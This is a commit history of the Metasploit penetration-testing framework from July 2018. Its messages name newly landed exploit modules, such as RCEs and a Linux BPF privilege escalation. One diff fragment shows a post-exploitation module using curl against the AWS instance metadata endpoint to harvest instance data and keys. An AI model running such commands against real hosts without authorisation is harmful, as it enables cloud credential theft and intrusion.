Normalize note proto better and actually use it
2018-07-31 11:51:34 -05:00
Erin Bleiweiss
3291931955
Merge branch 'upstream-master' into exploit-query
2018-07-31 11:51:14 -05:00
Erin Bleiweiss
db91c7f075
Add error message to console if invalid params are supplied
2018-07-31 11:49:09 -05:00
Metasploit
61d0383b4f
automatic module_metadata_base.json update
2018-07-31 09:12:15 -07:00
William Vu
0e3b8a2253
Land #10403 , joomla_pages fixes
2018-07-31 11:01:16 -05:00
William Vu
41ce96b19d
Clean up module
2018-07-31 11:01:02 -05:00
James Barnett
2ef639f99e
opts[:id] could sometimes be an integer, so cast to string
2018-07-31 10:58:01 -05:00
Jacob Robles
6c11d5800f
Register files on same line
2018-07-31 10:03:59 -05:00
Jacob Robles
569ddd9d59
Remove files from application
2018-07-31 09:47:39 -05:00
Dhiraj Mishra
323c814abf
Fixing some tweaks
2018-07-31 19:52:39 +05:30
Dhiraj Mishra
55dce52bea
Fixing some tabbed indent
2018-07-31 18:24:28 +05:30
Dhiraj Mishra
3a7d18a98d
Fixing, Warning of EOL
2018-07-31 18:11:09 +05:30
Dhiraj Mishra
bdd2ceba2b
Documentation
2018-07-31 18:07:57 +05:30
Dhiraj Mishra
d9e94f94dc
Oracle GlassFish
2018-07-31 17:59:03 +05:30
Sergey Gorbaty
a0b7a4986e
Making sure we connect to RMI
2018-07-30 23:25:32 -07:00
Alexander Halbarth
80d5d1d4ee
use variable port instead of datastore
2018-07-31 07:38:09 +02:00
Alexander Halbarth
b0fa17ccfb
Better output added to joomla_pages
2018-07-31 07:29:56 +02:00
Green-m
21afd0572c
use %w to replace [] for string arrays, more readable.
2018-07-30 22:47:59 -04:00
Metasploit
d29dd4c535
automatic module_metadata_base.json update
2018-07-30 19:16:41 -07:00
Wei Chen
bcfb3d099b
Land #10255 , Adding Micro Focus Secure Messaging Gateway RCE
2018-07-30 21:07:02 -05:00
Wei Chen
7d08c71722
Update documentation about how to make it vulnerable again
2018-07-30 21:05:46 -05:00
Mehmet İnce
48a903f0b3
Fixing r and sql variables use same object issue
2018-07-31 00:57:32 +03:00
Shelby Pace
ca8a01d27c
getting filenames in http responses
2018-07-30 16:25:45 -05:00
James Barnett
7dc14f59f4
We're using named parametes now
2018-07-30 15:38:48 -05:00
James Barnett
0843e6789d
Fix private data not displaying for creds
...
Also fix issue where delete and update cred were not using the data format
2018-07-30 15:31:38 -05:00
Sergey Gorbaty
c3534a479e
JMX scanner
2018-07-30 13:25:15 -07:00
Shelby Pace
7cf2c840a3
metadata set up
2018-07-30 14:25:58 -05:00
Metasploit
585a6df2c2
automatic module_metadata_base.json update
2018-07-30 12:24:25 -07:00
William Vu
129fd44350
Land #10305 , SonicWall XML-RPC RCE
2018-07-30 14:14:26 -05:00
Metasploit
ba93404bb9
automatic module_metadata_base.json update
2018-07-30 12:13:44 -07:00
William Vu
51ffe7abba
Add header to doc
2018-07-30 14:07:54 -05:00
William Vu
38f6b8aada
Clean up module
2018-07-30 14:06:33 -05:00
James Barnett
d1f09ca81c
Add path selection for GET requests
...
Also remove instances where workspace is passed for
single object lookups since it is no longer required
2018-07-30 13:56:34 -05:00
William Vu
ce9f447a29
Land #10384 , upload_exec fixes
2018-07-30 13:55:40 -05:00
William Vu
3b2f614653
Land #10398 , unused option cleanup in enum_juniper
2018-07-30 13:52:52 -05:00
h00die
7c8190573c
remove unused juniper options
2018-07-30 14:20:01 -04:00
Metasploit
6752582bc0
automatic module_metadata_base.json update
2018-07-30 11:18:01 -07:00
Jacob Robles
4ed2cc8189
Land #10397 , Added line in psexec_psh to support SMB2
2018-07-30 13:06:00 -05:00
Metasploit
d62a960359
automatic module_metadata_base.json update
2018-07-30 10:42:41 -07:00
bwatters-r7
cdefb88770
Added line to support SMB2
2018-07-30 12:37:06 -05:00
Jacob Robles
952ab801e8
Land #10060 , vTiger CRM v6.3.0 Upload RCE
2018-07-30 12:32:24 -05:00
Jacob Robles
62f663207b
Change option type
2018-07-30 12:15:59 -05:00
Jacob Robles
fe9315dc89
Update module, Add documentation
2018-07-30 12:11:08 -05:00
James Barnett
4c92de0b55
Refactor logic for determining single object output.
...
Also add restrictions on passing id as a query string param
2018-07-30 11:42:45 -05:00
Metasploit
7596366df0
automatic module_metadata_base.json update
2018-07-30 07:16:54 -07:00
Shelby Pace
d58785f959
Land #10247 , add WordPress Arbitrary File Deletion
2018-07-30 09:05:23 -05:00
reka193
ece9a72d13
Removed tabs
2018-07-30 15:07:55 +02:00
reka193
5962fa752e
Fixes in aws_ec2_instance_metadata
...
@@ -36,7 +36,7 @@ def initialize(info = {})
- unless resp =~ /^instance-id.$/m
+ unless resp =~ /^instance-id$/m
The original regex requires one character after 'instance-id' which is not present in the instance.
@@ -50,15 +50,16 @@ def check_curl
- base_resp.split(/\r\n/).each do |l|
- new_uri = base_uri.merge("./#{l}")
+ base_resp.split(/\r?\n/).each do |l|
+ new_uri = "#{base_uri}#{l}"
- key_uri = new_uri.merge("./#{key_id}/")
- key_resp = simple_get(key_uri)
+ new_uri = new_uri.slice(0..(new_uri.index(%r{/public-keys/})+'/public-keys'.length))
+ key_uri = "#{new_uri}#{key_id}/"
+ key_resp = simple_get(key_uri)
1. merge function was causing 'rescue in merge' errors
2. the split function could not succeed, there were no '\r\n' between the lines but '\n' only
3. the special case was not handled correctly
was trying to curl http://169.254.169.254/latest/meta-data/public-keys/0=Key0/ instead of http://169.254.169.254/latest/meta-data/public-keys/0/
@@ -94,6 +95,6 @@ def setup
- cmd_exec("curl #{url}")
+ cmd_exec("curl -s #{url}")
Curl was causing issues when not in silent mode.
2018-07-30 14:02:15 +02:00
reka193
6790ac1998
Reset to original
2018-07-30 10:48:32 +02:00
Wang Yihang
c90b03808a
Merge remote-tracking branch 'upstream/master' into add-resource-meta-shell-command
2018-07-30 13:25:26 +08:00
Wang Yihang
b2eb5edf37
[+] Fix bug in pull 10220
2018-07-30 13:21:26 +08:00
Josh Hale
fcbfa8019f
style and more python checks
2018-07-29 22:52:43 -05:00
h00die
c440eeaa31
rogue end
2018-07-29 10:35:33 -04:00
h00die
53cca07442
bcoles suggestions
2018-07-29 10:31:01 -04:00
James Barnett
9cd99cbc17
Fix error when id param is present in GET request
2018-07-28 22:55:03 -05:00
Josh Hale
51ff09a9b6
Only try on NX
2018-07-28 19:00:33 -05:00
James Barnett
9e08bf6ec2
Fix logic issue when processing HTTP requests
2018-07-28 15:23:56 -05:00
James Barnett
37706e094d
Dont wrap object in array when using ID parameter
2018-07-27 16:41:11 -05:00
James Barnett
829b43f743
Address minor code review comments
2018-07-27 16:19:17 -05:00
Erin Bleiweiss
d4b5e27edc
remove whitespace
2018-07-27 16:03:16 -05:00
Erin Bleiweiss
57c9a3544a
delete unnecessary proxy files
2018-07-27 16:01:45 -05:00
Erin Bleiweiss
3e41db6994
refactor for more dry, more compartmentalized code
2018-07-27 16:00:19 -05:00
Erin Bleiweiss
4ac11d4e70
parameter validation
2018-07-27 15:15:49 -05:00
Metasploit
4744fb01d9
automatic module_metadata_base.json update
2018-07-27 13:01:14 -07:00
Wei Chen
32384cf850
Land #10387 , Update mov_ss and add mov_ss_dll
2018-07-27 14:52:21 -05:00
James Barnett
3411d0bce2
Refactor error JSON responses to use a helper method
2018-07-27 13:59:17 -05:00
Erin Bleiweiss
7cfc2b44ec
allow rank search with numeric value only
2018-07-27 13:30:29 -05:00
bwatters-r7
6d4c70d019
ughhhhh EOL
2018-07-27 11:35:31 -05:00
bwatters-r7
d343458dc5
Update documentation with build instructions
...
remove superfluous directory
2018-07-27 11:31:59 -05:00
bwatters-r7
1981c3c24b
Fix documentation
2018-07-27 11:21:06 -05:00
bwatters-r7
036e2b2247
shut up, Rubocop
2018-07-27 11:11:32 -05:00
James Barnett
15fe80de06
Merge branch 'master' into conform_to_api_standards
2018-07-27 11:08:18 -05:00
bwatters-r7
b4792e08a4
Combine the modules and update the binaries
2018-07-27 11:08:04 -05:00
Erin Bleiweiss
df159e957d
condense logic for matching rank names to numeric value
2018-07-27 11:02:25 -05:00
Erin Bleiweiss
c76f141a49
replace magic numbers with constants
2018-07-27 10:42:57 -05:00
Erin Bleiweiss
06c98a0772
ignore extraneous/invalid keywords
2018-07-27 10:33:47 -05:00
Erin Bleiweiss
44239b7005
remove debug line
2018-07-27 10:28:31 -05:00
bwatters-r7
aaf1a22c7c
Rubocop changes
2018-07-27 10:15:45 -05:00
bwatters-r7
eab62c18c6
Update mov_ss and add mov_ss_dll
2018-07-27 09:40:34 -05:00
michaelj0hn
7bbb44401d
added definition of IEC104
2018-07-27 15:21:00 +02:00
michaelj0hn
7b5e8463ba
msftidy-final
2018-07-27 14:52:10 +02:00
michaelj0hn
4e42834be3
msftidy 538
2018-07-27 14:48:04 +02:00
michaelj0hn
44c1fa9197
msftidy558
2018-07-27 14:29:32 +02:00
michaelj0hn
da1363721f
msftidy 90-91-2
2018-07-27 14:07:10 +02:00
michaelj0hn
07896b0a3c
msftidy 90-91
2018-07-27 13:58:15 +02:00
michaelj0hn
5435c7a5eb
msftidy fix
2018-07-27 13:43:37 +02:00
michaelj0hn
09320ece91
iec104 client
2018-07-27 11:46:26 +02:00
Metasploit
590f117337
automatic module_metadata_base.json update
2018-07-26 22:01:52 -07:00
Wei Chen
1bcf2f9b37
Land #10383 , Add WP Responsive Thumbnail Slider Plugin Exploit Module
2018-07-26 23:53:25 -05:00
Wei Chen
72d634b10b
Update module and its documentation
2018-07-26 23:08:20 -05:00
William Vu
0433cb92ba
Fix upload_exec for absolute paths
...
Also prefer chmod 700 over 755, since it's our file.
2018-07-26 19:48:12 -05:00
UserExistsError
6181253109
fix multi connect bug
2018-07-26 17:34:11 -06:00
Erin Bleiweiss
129b3ec2b5
rename single-letter variables to be more descriptive
2018-07-26 17:35:26 -05:00
Erin Bleiweiss
23c0f70c68
update multi-line block syntax
2018-07-26 17:24:04 -05:00
Erin Bleiweiss
7e81e81965
call 'except' without duplicating variable
2018-07-26 17:22:15 -05:00
Erin Bleiweiss
9f5f2ffeab
remove extraneous newlines
2018-07-26 17:19:18 -05:00
Metasploit
b00e0aa082
automatic module_metadata_base.json update
2018-07-26 15:05:17 -07:00
Brent Cook
32d6344e6b
Land #9964 , android post module to extract subscriber info
2018-07-26 16:58:27 -05:00
Brent Cook
71646da97f
fix error handling
2018-07-26 16:48:34 -05:00
Shelby Pace
be1bf8b1fc
modified status
2018-07-26 15:41:19 -05:00
Shelby Pace
6accca4181
added documentation and check method
2018-07-26 15:32:37 -05:00
Josh Hale
0a6a91a1c6
Initial add of pybash option
2018-07-26 14:44:34 -05:00
Shelby Pace
ed4c4046ba
parsing for uploaded file, gets session
2018-07-26 14:23:24 -05:00
Metasploit
ba39226fdc
Weekly dependency update
2018-07-26 10:10:56 -07:00
Erin Bleiweiss
2572a297a2
clean up parameter delcarations in docs and rename doc files to module_search
2018-07-26 11:43:55 -05:00
Metasploit
0ea9eb1b49
automatic module_metadata_base.json update
2018-07-26 09:34:05 -07:00
Wei Chen
98528f256d
Land #10376 , Handle connection errors and fail_with in check
2018-07-26 11:27:02 -05:00
Wei Chen
2dff66aacb
Check nil
2018-07-26 11:23:16 -05:00
Shelby Pace
c23ffcbf62
successfully uploads payload and gets a session
2018-07-26 11:09:01 -05:00
James Barnett
5c9f002a72
Make hash definitions more consistent
2018-07-26 10:40:58 -05:00
Jacob Robles
2833330f21
Land #10365 , script allows you to find modules without a specific reference
2018-07-26 09:54:58 -05:00
Jacob Robles
fa43a8ca27
Land #10366 , Add a script that can find CVEs based on other known references
2018-07-26 09:25:55 -05:00
James Barnett
b1022d16bf
Fix typo in delete response message in docs
2018-07-26 08:43:05 -05:00
Green-m
3f8906596d
Fix issue 10372, match mutiple slashes better
2018-07-26 05:35:04 -04:00
Green-m
63ed4b2173
Add uictl tabs
2018-07-26 05:33:40 -04:00
Green-m
2dbbd0c649
Add multiple commands' tabs and help
2018-07-26 05:32:57 -04:00
Green-m
4060492bfc
Add multiple commands' tabs and help
2018-07-26 05:27:47 -04:00
Green-m
3852265d9f
Add multiple commands' tabs and help
2018-07-26 05:26:30 -04:00
Green-m
6c1a28d2d6
Add multiple commands' tabs and help
2018-07-26 05:25:38 -04:00
Green-m
6a0534de14
Update splitkey method to match better on windows
2018-07-26 05:23:27 -04:00
Green-m
746b63f76a
Add method to glob the given filename.
2018-07-26 05:21:12 -04:00
James Barnett
ec62815d6e
Add error responses to API docs
2018-07-25 21:46:33 -05:00
William Vu
8e6a1d203b
Futureproof FingerprintCheck until we delete it
2018-07-25 21:39:02 -05:00
William Vu
4e46ebdb9c
Call check_simple when RHOSTS is a single host
2018-07-25 21:27:20 -05:00
William Vu
25ef422168
Handle connection errors and fail_with in check
...
Also fix FingerprintCheck to tell us when it doesn't receive a response.
2018-07-25 21:11:40 -05:00
Metasploit
0139f123a1
automatic module_metadata_base.json update
2018-07-25 16:58:45 -07:00
Brent Cook
c1418955f5
Land #10319 , enable VHOST for ms15_034_http_sys_memory_dump
2018-07-25 18:51:57 -05:00
Metasploit
7e33f40afc
automatic module_metadata_base.json update
2018-07-25 16:29:07 -07:00
Brent Cook
e78337d59a
Land #10374 , Net::SSH::CommandStream fixes
2018-07-25 18:21:39 -05:00
William Vu
8753c5bf62
Land #10303 , HttpClient Rex::ConnectionError fix
2018-07-25 18:02:44 -05:00
James Barnett
cc21c0a673
Update documentation for new format
2018-07-25 18:01:05 -05:00
Metasploit
a27f8afe17
automatic module_metadata_base.json update
2018-07-25 13:38:48 -07:00
William Vu
e4386d3665
Land #10375 , smb_login defaults that suck less
2018-07-25 15:21:34 -05:00
Jacob Robles
5a7c25b498
Fix description
2018-07-25 15:13:41 -05:00
William Vu
6b10921232
Land #10375 , DETECT_ANY_AUTH should be false
2018-07-25 15:09:19 -05:00
Jacob Robles
1105474fb9
Modify options for smb_login
...
Change default value for DETECT_ANY_AUTH
and add option for DETECT_ANY_DOMAIN
2018-07-25 14:53:06 -05:00
Metasploit
a066db339c
automatic module_metadata_base.json update
2018-07-25 12:52:39 -07:00
Wei Chen
6c2e8f2402
Land #10300 , Add root exploit for Axis network cameras
2018-07-25 14:46:04 -05:00
Wei Chen
f169afff6a
Add documentation and a new reference
2018-07-25 14:44:44 -05:00
William Vu
60faddebbf
Update authors with sinn3r
2018-07-25 14:35:09 -05:00
Shelby Pace
8f89275df8
authenticating to WordPress
2018-07-25 14:22:24 -05:00
William Vu
efacaef9df
Clamp compatible payloads until we know better
2018-07-25 14:14:15 -05:00
Sonny Gonzalez
8dc34de5c1
rex-socket gem bumped to 0.1.15
2018-07-25 13:28:42 -05:00
William Vu
86d634cb64
Update module for MVP
2018-07-25 12:01:36 -05:00
Shelby Pace
668bcb38cb
metadata setup
2018-07-25 11:29:47 -05:00
Sonny Gonzalez
f5ccdcfcd2
Net SSH CommandStream fixes implemented
...
* Net::SSH::CommandStream typos fixed
* Net::SSH::CommandStream cleanup made more robust and refactored
* require 'net/ssh/command_stream' added to various modules
2018-07-25 11:22:28 -05:00
Metasploit
6882831bed
automatic module_metadata_base.json update
2018-07-24 23:18:33 -07:00
William Vu
9fde9127ad
Land #10370 , minor CouchDB fix
2018-07-25 01:11:23 -05:00
William Vu
d3b7dffcdc
Prefer res.body over res
2018-07-25 01:05:18 -05:00
Metasploit
9e8b14a1ac
automatic module_metadata_base.json update
2018-07-24 23:04:51 -07:00
William Vu
bc89d7fe52
Land #10357 , CouchDB improvements and docs
2018-07-25 00:54:55 -05:00
Metasploit
cefe387f15
automatic module_metadata_base.json update
2018-07-24 21:32:33 -07:00
Wei Chen
625ea87ea9
Land #10368 , PhpMyAdmin Login Scanner Module
2018-07-24 23:25:27 -05:00
Wei Chen
5df5ab30f6
Use store_valid_credential to save good credentials
2018-07-24 23:21:59 -05:00
Brent Cook
28894c5dcb
Land #10369 , Fix rspec for fake_function_collection_spec.rb
2018-07-24 17:45:54 -05:00
Wei Chen
5e427ba2bb
Fix rspec for fake_function_collection_spec.rb
2018-07-24 17:08:14 -05:00
Erin Bleiweiss
9205159e7d
update console help documentation
2018-07-24 16:43:30 -05:00
Erin Bleiweiss
e6e06fea84
update rank param to accept descriptive names
2018-07-24 16:43:16 -05:00
Erin Bleiweiss
87434ef22d
pull changes
2018-07-24 15:42:31 -05:00
James Barnett
503a2276f2
Convert creds to use new format
2018-07-24 15:25:48 -05:00
Erin Bleiweiss
ffe4dbcc19
refactor out of db_manager and into web_services
2018-07-24 15:25:23 -05:00
Jeffrey Martin
6d878a9bb6
Land #10367 , Pass a framework instance to external module shims
2018-07-24 15:22:47 -05:00
Adam Cammack
de52e8c631
Update Rspec expected thread count
...
External modules start threads during the test run, so the thread
manager is always running by the end in addition to the main VM thread.
2018-07-24 15:14:47 -05:00
Shelby Pace
efa3a77adc
modified name
2018-07-24 15:00:14 -05:00
Shelby Pace
4f81fcdc87
retn versions in chk_setup, tests to reflect, doc
2018-07-24 14:51:00 -05:00
Wei Chen
8c84295752
Use full name instead of short to reduce FP
2018-07-24 13:00:59 -05:00
Wei Chen
08b0ea9bde
Clean up option
2018-07-24 12:57:58 -05:00
Wei Chen
8a4e831ad2
display full name
2018-07-24 12:38:24 -05:00
James Barnett
eccd223a3e
Merge branch 'master' into conform_to_api_standards
2018-07-24 12:11:14 -05:00
Adam Cammack
230e36f5f0
Pass the framework instance to exec module shims
2018-07-24 12:02:54 -05:00
Wei Chen
5955e3e42d
Do some logging to track progress
2018-07-24 11:43:29 -05:00
Wei Chen
1c33c489d6
rm r7 blog ref because URL ref can do the same thing too
2018-07-24 11:05:54 -05:00
Wei Chen
a7284cfff1
Check file path for db
2018-07-24 10:54:24 -05:00
Wei Chen
f6538c4cd7
Have a way to able to ignore certain modules
2018-07-24 10:28:07 -05:00
Wei Chen
a70c85580b
Add a script to find CVEs based on existing references
2018-07-24 10:23:24 -05:00
Shelby Pace
eb72edc84a
added documentation for aux module
2018-07-24 10:22:53 -05:00
Shelby Pace
976a3464e1
added phpmyadmin login scanner and aux module
2018-07-24 09:47:01 -05:00
Shelby Pace
e58b2809d4
added tests for all methods
2018-07-24 09:39:56 -05:00
timoles
aaf664db42
Update jboss_vulnscan.rb
...
Fixed a paste error, or sneaked in character in the app url.
2018-07-24 04:24:49 -07:00
Metasploit
c557f21f93
automatic module_metadata_base.json update
2018-07-23 20:45:48 -07:00
Matthew Kienow
dac5780feb
Land #10176 , creds data service CRUD operations
2018-07-23 23:36:32 -04:00
Wei Chen
1049deba70
This script allows you to find modules without a specific reference
2018-07-23 22:25:36 -05:00
Metasploit
c79791b754
automatic module_metadata_base.json update
2018-07-23 16:33:51 -07:00
Brent Cook
5d7f40d459
Land #10362 , Fix reporting in backup_file, add more docs
2018-07-23 18:22:35 -05:00
James Barnett
2242cb590d
Fix name in credential_data_service
2018-07-23 17:26:12 -05:00
James Barnett
e3da0a6828
Merge branch 'master' into remote_creds_data
2018-07-23 16:39:13 -05:00
Erin Bleiweiss
2215cab7df
refactor search to work with existing console search function, and expand console keyword options
2018-07-23 16:37:11 -05:00
James Barnett
862f918d49
Fix bug when updating Core subobjects
2018-07-23 16:21:30 -05:00
William Vu
87f9d3bd23
Land #10345 , OptionParser for console grep
2018-07-23 16:00:18 -05:00
James Barnett
351c2319a8
Fix issues with creds filter by IP
2018-07-23 14:53:09 -05:00
Wei Chen
dc43cc78b0
Land #10341 , Add check method Boolean to module cache and info and search commands
2018-07-23 14:45:28 -05:00
Metasploit
5bd452334c
automatic module_metadata_base.json update
2018-07-23 12:19:53 -07:00
William Vu
654cbd198a
Fix missing method when check is run
...
Oops, lost the "mod" when I refactored into ternary. Caught during
verification with @wchen-r7. :D
2018-07-23 14:19:48 -05:00
Adam Cammack
d2ed78570a
Land #10364 , Handle nil for shell_reverse_tcp_ipv6
...
This makes things like `msfvenom --list-options` or `info` when options
are not set work.
2018-07-23 14:02:14 -05:00
Metasploit
3222098492
automatic module_metadata_base.json update
2018-07-23 11:46:47 -07:00
William Vu
086af80509
Specify address family in shell_reverse_tcp_ipv6
2018-07-23 13:39:40 -05:00
asoto-r7
cb0b90435d
Land #10349 , deconflict the method names in mix-ins
2018-07-23 13:38:46 -05:00
Shelby Pace
29277d9c03
added tests for check_setup and get_session_info
2018-07-23 11:27:03 -05:00
reka193
408dc7793f
Update aws_ec2_instance_metadata.rb
2018-07-23 10:00:12 +02:00
Timo
01acaa3ad9
Changed the app scan layout to reduce the complexity of the app_check branch. (as of suggestion by bcoles)
2018-07-23 00:41:49 -07:00
Shelby Pace
1473bbd492
created test file for login scanner
2018-07-22 23:37:36 -05:00
h00die
e1100572ac
add afp docs
2018-07-22 20:56:52 -04:00
h00die
83ae5cb14d
fix backup_file.rb and add a few docs
2018-07-22 20:50:22 -04:00
h00die
03e8f45634
add more version info for docs
2018-07-21 21:39:19 -04:00
h00die
2a969d70db
dicoogle
2018-07-21 21:31:45 -04:00
h00die
f1e1407901
add musl-cross info
2018-07-21 14:22:27 -04:00
h00die
17b94f7cf3
add smap disabling instructions
2018-07-21 14:20:24 -04:00
h00die
85c2e5298f
patch up docs
2018-07-21 14:06:57 -04:00
h00die
4a9e6fac66
patch up docs
2018-07-21 14:00:29 -04:00
h00die
abfed97e03
remove EOL spaces
2018-07-21 11:21:11 -04:00
h00die
357f221b93
update doc
2018-07-21 11:09:16 -04:00
h00die
8b324c19d8
update couchdb scanner
2018-07-21 11:02:50 -04:00
Metasploit
771462f765
automatic module_metadata_base.json update
2018-07-20 15:54:24 -07:00
Wei Chen
c63922430c
Land #10346 , update check method and doc for CMS Made Simple
2018-07-20 17:46:04 -05:00
James Barnett
08c0463e41
Cleanup creds options
2018-07-20 16:35:55 -05:00
James Barnett
b250c4e3f4
Honor realm in creds -S
2018-07-20 16:30:17 -05:00
James Barnett
08e1941e9b
Remove unsupported syntax from creds help
2018-07-20 15:54:57 -05:00
William Vu
58ad718a7d
Display check support in module search
2018-07-20 14:10:44 -05:00
James Barnett
c7ea24e856
Pass symbols for credential types
2018-07-20 13:17:57 -05:00
Erin Bleiweiss
6c7650eec3
add call to warden.authenticate!
2018-07-20 10:34:07 -05:00
Shelby Pace
c11d404ae0
successfully works on v4.8.1
2018-07-20 09:13:51 -05:00
Timo
c9e47d6d2b
Added check and response for CVE-2017-12149 in jboss_vulnscan.rb
2018-07-20 03:52:29 -07:00
bwatters-r7
0c906ed8d3
Update cached payload sizes
2018-07-19 17:58:45 -05:00
bwatters-r7
658267849b
deconflict the method names in mix-ins
2018-07-19 17:01:40 -05:00
James Barnett
65d42380d3
Merge branch 'master' into remote_creds_data
2018-07-19 16:25:06 -05:00
James Barnett
a8e5308fd3
WIP: Convert each endpoint to use the correct JSON format
2018-07-19 16:20:35 -05:00
Erin Bleiweiss
2cd5c11342
remove unnecessary whitespace
2018-07-19 15:56:04 -05:00
Jacob Robles
9327d75ceb
Land #10343 , Add decryption and decoding support for Metasploit C compiler
2018-07-19 14:57:43 -05:00
Erin Bleiweiss
ad2bd35858
add a requirement that there must be at least one search parameter
2018-07-19 14:56:51 -05:00
Erin Bleiweiss
04a6cf8f0a
pull latest changes and re-register module servlet in new sinatra base
2018-07-19 14:42:39 -05:00
Erin Bleiweiss
77fbd4b443
strip whitespace from field params
2018-07-19 14:34:47 -05:00
Erin Bleiweiss
ce7eb9f3fe
add list of valid fields to documenation and update aliases
2018-07-19 14:31:46 -05:00
Erin Bleiweiss
7dc37c8c79
add aliases to prevent ambiguity with plurals
2018-07-19 14:24:12 -05:00
Erin Bleiweiss
3d58ec3a53
add aliases for field keywords
2018-07-19 14:23:47 -05:00
Erin Bleiweiss
462655dea1
update response example documentation
2018-07-19 14:10:04 -05:00
Erin Bleiweiss
4c71268b38
add documentation for aliases
2018-07-19 13:38:18 -05:00
Erin Bleiweiss
e3716305dc
add new fields to swagger doc
2018-07-19 13:31:41 -05:00
Brendan Coles
19239c72c0
Update cmsms_upload_rename_rce check and docs
2018-07-19 18:26:42 +00:00
Erin Bleiweiss
dd4279fc2a
add more robust searching to reflect all metadata values
2018-07-19 13:07:16 -05:00
Metasploit
0b8cd25701
automatic module_metadata_base.json update
2018-07-19 10:25:57 -07:00
Wei Chen
28e3f3a5f0
Land #10327 , Add CMS Made Simple Upload/Rename Authenticated RCE
2018-07-19 12:18:12 -05:00
Wei Chen
c5ac4c791f
Make changes based on community feedback
2018-07-19 12:17:02 -05:00
Adam Cammack
ef264e78f0
Refactor grep command to use optparse
...
This is an experiment to see what it would take to convert *all* option
assignment, parsing, and validation to use Ruby's builtin optparse. Our
current situation in the command dispatchers is a mishmash of bespoke
and Rex code, both with odd behaviors. Modules use a more formalized
system, but it is also a bit janky and unlike most other tools a
pentester might use.
The first step is to refactor the console commands to use Ruby's builtin
option parsing to reduce code and increase homogeneity among the various
functions. Next we plan to explore what it would take to invoke modules
from within Metasploit this way (this would be Metasploit 5+ only).
Refactoring `grep` seems to have been a success. There is now less code;
the code that declares and handles the options are now in the same
place; long options are now supported; adjacent, argument-less short
opts now work as expected; patterns can now begin with a `-`; and option
arguments are now validated. Additionally, optparse's argument
coercion/validation code can be extended for custom types/validations to
support more specialized commands.
2018-07-19 12:11:09 -05:00
Metasploit
778b3f4258
Weekly dependency update
2018-07-19 10:05:42 -07:00
Wei Chen
b404a5fbe4
Add a license
2018-07-19 10:04:47 -05:00
James Barnett
59962c5273
Merge branch 'master' into conform_to_api_standards
2018-07-19 09:26:17 -05:00
Winston Ho
6173305776
Update author fields
2018-07-19 01:25:59 -04:00
Wei Chen
f2fd24780c
Add support for XOR
2018-07-18 23:13:45 -05:00
Wei Chen
1534613cda
Add Base64 support
2018-07-18 20:07:27 -05:00
Wei Chen
999d0e994f
Add RC4 decryption
2018-07-18 19:50:46 -05:00
asoto-r7
e9a2a1cdae
Land #10307 , Add missing CVE check to msftidy
2018-07-18 18:09:20 -05:00
Metasploit
6347f26834
automatic module_metadata_base.json update
2018-07-18 15:46:14 -07:00
William Vu
74b74b89d1
Fix spec for modules not defining check
...
It's no longer necessary, and we handle this and return the right thing.
2018-07-18 17:39:38 -05:00
Brent Cook
08290b81c0
Land #10282 , Add support for running external modules outside of msfconsole
2018-07-18 17:38:40 -05:00
Erin Bleiweiss
8010c58220
add module documentation to swagger (WIP)
2018-07-18 17:36:31 -05:00
James Barnett
612959d9ab
Land #10323 , add authentication to REST API
2018-07-18 17:29:22 -05:00
William Vu
1371fc6daf
Fix regexed integer RPORT for module search
2018-07-18 17:24:05 -05:00
Brent Cook
b90583d07c
don't throw an exception in haraka checks if we cannot connect
2018-07-18 17:17:45 -05:00
William Vu
de23559491
Add check for check to module cache
2018-07-18 16:40:52 -05:00
Matthew Kienow
ee6de3da39
Make endpoint plural and uniform with the others
2018-07-18 17:35:47 -04:00
William Vu
98d6d4cbcd
Add check for check to info command
2018-07-18 16:33:30 -05:00
William Vu
5fa1ddf4eb
Remove default check method
2018-07-18 16:25:46 -05:00
James Barnett
4d2e0e51e4
Update docs for /endpoit/ID GET requests
2018-07-18 16:01:12 -05:00
Erin Bleiweiss
93ce09cbd2
indicate private methods
2018-07-18 15:55:25 -05:00
Erin Bleiweiss
6955a9a58b
filter search result using comma delimited fields
2018-07-18 15:52:47 -05:00
James Barnett
4da27d2bff
Enable GET for /endpoint/ID for each model
2018-07-18 15:18:22 -05:00
Erin Bleiweiss
389b015047
fix typo (reference -> references)
2018-07-18 15:10:11 -05:00
Metasploit
0892130542
automatic module_metadata_base.json update
2018-07-18 12:59:22 -07:00
Adam Cammack
0024cca3bf
Land #10328 , Log errors in Python ETERNALBLUE
2018-07-18 14:50:40 -05:00
Adam Cammack
e144ba4f1a
Land #10334 , Add grep -C
2018-07-18 14:45:06 -05:00
Matthew Kienow
257a05d5d7
Add long port option for data_services cmd
2018-07-18 14:29:32 -04:00
Matthew Kienow
3147b8307b
Fix issue when adding authenticated data service
...
Add authentication to MsfServlet as a simple workaround to an issue
that occurs when data_services cmd is used to add a remote service
that requires an API token and no token or an invalid token are
provided.
2018-07-18 14:08:30 -04:00
Matthew Kienow
4ff39e3799
Fix error code returned by authentication failure
...
Previously an authentication failure message would indicate that the
error was permissions related yet the error code remained 401. The fix
allows the Authentication::Strategies classes to specify an error code
that is returned to the user.
2018-07-18 14:04:09 -04:00
James Barnett
026ddad9d8
Remove more unused code
2018-07-18 12:44:27 -05:00
James Barnett
08b53a1ef7
Homogenize GET requests
2018-07-18 12:43:48 -05:00
Erin Bleiweiss
a2da40a104
refactor endpoint under /v1/modules/
2018-07-18 12:06:25 -05:00
James Barnett
846df018e0
Minor code cleanup. Remove unused methods
2018-07-18 11:51:43 -05:00
Erin Bleiweiss
64fff449f8
refactor platform/target search
2018-07-18 10:59:46 -05:00
Jacob Robles
1f0f920352
Land #10340 , Fix fake_function_collection_spec
2018-07-18 10:53:01 -05:00
Wei Chen
6d3db92fb2
Fix fake_function_collection_spec
2018-07-18 10:23:21 -05:00
William Vu
0b0a9bfd32
Remove check_sock_get from run_checks
2018-07-18 09:47:17 -05:00
Metasploit
c1a1658748
automatic module_metadata_base.json update
2018-07-18 04:41:19 -07:00
Tim W
70a1df70a1
Land #9753 , Linux BPF sign extension local privesc
2018-07-18 18:44:14 +08:00
reka193
4c4f0c1d3e
Update
...
Fixes for Kali linux 4.14 with ruby 2.3.
2018-07-18 10:42:51 +00:00
Winston Ho
b481855c87
Add vlc_mkv exploit module
2018-07-18 03:40:09 -04:00
William Vu
b78a0878b8
Upgrade info checks to warning
...
Also nix get vs. get_once check, since it's inconsistent in practice.
2018-07-18 00:05:48 -05:00
William Vu
9d2bed2596
Fix grep's prompt rewriting
...
Missed in #9261 .
2018-07-17 21:08:21 -05:00
William Vu
94297de256
Add grep -C to msfconsole
2018-07-17 20:52:46 -05:00
Jacob Robles
08e33cad0c
Spelling fix
